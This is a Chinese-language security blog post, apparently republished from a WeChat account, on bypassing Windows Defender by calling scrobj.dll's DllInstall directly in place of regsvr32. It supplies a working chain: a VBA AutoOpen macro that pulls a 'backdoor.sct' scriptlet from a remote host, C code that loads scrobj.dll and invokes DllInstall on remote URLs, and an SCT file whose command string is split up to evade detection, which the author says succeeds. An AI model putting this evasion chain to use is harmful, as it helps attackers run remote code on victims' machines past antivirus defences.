很久之前写过一篇regsvr32绕过的文章,今天更新第二篇。
测试环境如下:
在电脑上执行:
我们看一下具体是哪里出了问题,查看windows defender的详细:
发现主要是Cmdline这里报的错,当然分类这里是因为MSF的脚本内容触发了AMSI的内容:
这里先不探究AMSI的绕过问题,只讨论执行的问题。之前已经分享过了一些绕过手法,这里只讨论之前没说过的手法即调用scrobj.dll 的 DllInstall实现代码执行。Regsvr32.exe仅仅是白名单而已,主要操作还是scrobj.dll 在做。
其函数原型为:
HRESULT DllInstall(
BOOL bInstall,
PCWSTR pszCmdLine
);
关于该函数的具体作用可以参看msdn:https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall
所以,我们便可以尝试使用该函数来实现和Regsvr32.exe一样的功能。根据该文章所言,我们可以通过VBA的方法来实现该功能:
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") 'False ="Don't install"
End Sub
其实就跟导出函数下载文件类似。sct内容如下:
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</component>
不过终究宏再实战中可能受众面更窄一些,于是用C实现同样的功能,注意开启CLR:
代码来自@REInject
int main()
{
TCHAR *dllpath = _T("c:\windows\system32\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %pn", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}
这个时候,我们再来看一下windows defender的反映:
此时便变成了JS的问题了,那么我们在对我们的sct文件进行变形,变成下面这样:
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var wsc = "WScript.Shell";
var com = "calc";
com.concat(".","e","x","e");
var foo = new ActiveXObject(wsc).Run(com);
]]>
</script>
</registration>
</component>
执行,便成功弹出了计算器。
此时便绕过了windows defender来执行了我们的代码。
后来再查找资料的过程中,发现了一个叫做Dllinstailler的项目,简介为C# DLL Installer like regsvr32,但是后来发现,它真的只是能dll,遂放弃。
参考文章:
https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/#
https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability
本文始发于微信公众号(鸿鹄实验室):regsvr32绕过(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论